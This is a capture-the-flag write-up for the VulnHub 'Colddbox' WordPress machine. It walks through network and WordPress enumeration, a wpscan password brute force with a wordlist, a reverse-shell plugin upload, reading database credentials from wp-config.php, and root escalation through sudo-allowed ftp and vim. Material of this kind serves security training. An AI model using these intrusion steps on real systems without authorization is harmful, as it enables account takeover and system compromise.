# Colddbox - Easy
As the machine description says - this is a WordPress machine with an easy level of difficulty. Machine can be found here : [vulnhub](https://www.vulnhub.com/entry/colddbox-easy,586/). It's an interesting room and I enjoyed the Privilege escalation part most.
### Enumeration:
1\) First I need to discover machines IP. I have used netdiscover and found the IP : 10.0.2.44
**`netdiscover -i eth0 -r 10.0.0.0/16`**
2\) First, searching all port using nmap: **`nmap -p- -v -T5 -Pn 10.0.2.44`**
```
PORT STATE SERVICE
80/tcp open http
4512/tcp open unknown
```
3\) Now scanning the services are running: **`nmap -sV -A -p 80,4512 -v 10.0.2.44`**
```
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.1.31
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: ColddBox | One more machine
4512/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4e:bf:98:c0:9b:c5:36:80:8c:96:e8:96:95:65:97:3b (RSA)
| 256 88:17:f1:a8:44:f7:f8:06:2f:d3:4f:73:32:98:c7:c5 (ECDSA)
|_ 256 f2:fc:6c:75:08:20:b1:b2:51:2d:94:d6:94:d7:51:4f (ED25519)
```
4\) For Further enumeration, I have used another tool: enum4linux. Nothing found.
**`enum4linux -v 10.0.2.44`**
5\) As the site is running WordPress, so I scan it. This scan gives me valuable info
**`wpscan -e -v --url`** [**`http://10.0.2.44/`**](http://10.0.2.44/)
```
[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] WordPress readme found: http://10.0.2.44/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] WordPress version 4.1.31 identified (Insecure, released on 2020-06-10).
| Found By: Rss Generator (Passive Detection)
| - http://10.0.2.44/?feed=rss2, https://wordpress.org/?v=4.1.31
| - http://10.0.2.44/?feed=comments-rss2, https://wordpress.org/?v=4.1.31
[i] No plugins Found.
[i] No DB Exports Found.
[i] User(s) Identified:
[+] the cold in person
| Found By: Rss Generator (Passive Detection)
[+] hugo
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] c0ldd
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] philip
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
```
6\) I need some more info in order to start any attack. So, enumerate the web more. I have tried directory listing using gobuster:
**gobuster dir -u** [**http://10.0.2.44/**](http://10.0.2.44/) **-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt**
```
===============================================================
/wp-content (Status: 301) [Size: 311] [--> http://10.0.2.44/wp-content/]
/wp-includes (Status: 301) [Size: 312] [--> http://10.0.2.44/wp-includes/]
/wp-admin (Status: 301) [Size: 309] [--> http://10.0.2.44/wp-admin/]
/hidden (Status: 301) [Size: 307] [--> http://10.0.2.44/hidden/]
/server-status (Status: 403) [Size: 274]
```
### Exploitation:
7\) I have found some interesting directory and username. So first try brute force the /wp-admin login page: **`wpscan --url`** [**`http://10.0.2.44`**](http://10.0.2.44) **`-e u -t 50 -P /usr/share/wordlists/rockyou.txt`**
This attack give me a - username: **c0ldd** and password: **9876543210**
Now I can log in with them.
8\) There are 4 ways to get a reverse shell from the WordPress site.
* Upload shell through the Theme
* Upload shell through the Plugin
* Themes template into 404.php
* Using pre-installed Plugins into header.php
After some googling, I have found 2 well written article about getting a reverse shell. Reading them won't waste your time
* [WordPress Shell Upload](https://www.hacknos.com/wordpress-shell-upload/)
* [WordPress Plugin: Reverse Shell](https://www.sevenlayers.com/index.php/179-wordpress-plugin-reverse-shell)
I have modified the code below (given my VM IP to connect back) and uploaded as a zip. This code successfully works as a plugin.
9\) In my attack box I have started a listener and then just 'Activated' it from WordPress dashboard. And I get user access.
### Privilege escalation:
(Failed attempt) I have tried these ways below and failed. So I noted them.
I was able to create folder in `/tmp`. So downloaded linpeas in `/tmp` but failed to execute. SUID finding command works: **`find / -perm -u=s -type f 2>/dev/null`**, but not useful. Python3 is running there.
10\) After so many failed attempt, I have tried the command below. Database leaked some info there: **`cat wp-config.php | grep DB`**
```
define('DB_NAME', 'colddbox');
define('DB_USER', 'c0ldd');
define('DB_PASSWORD', 'cybersecurity');
define('DB_HOST', 'localhost');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
```
11\) DB password could work. So I started to try it, but neither there was any terminal open nor the sudo run access. So then I created a terminal using python3. I have marked them in the picture below
12\) Further enumeration says, 3 service running as root: **`sudo -l`**
```
(root) /usr/bin/vim
(root) /bin/chmod
(root) /usr/bin/ftp
```
13\) Running Vim can also give me root access, but I have tried FTP. Running ftp and then /bin/bash.
Thanks for reading. Hope this amazing CTF and write up will help you a lot.
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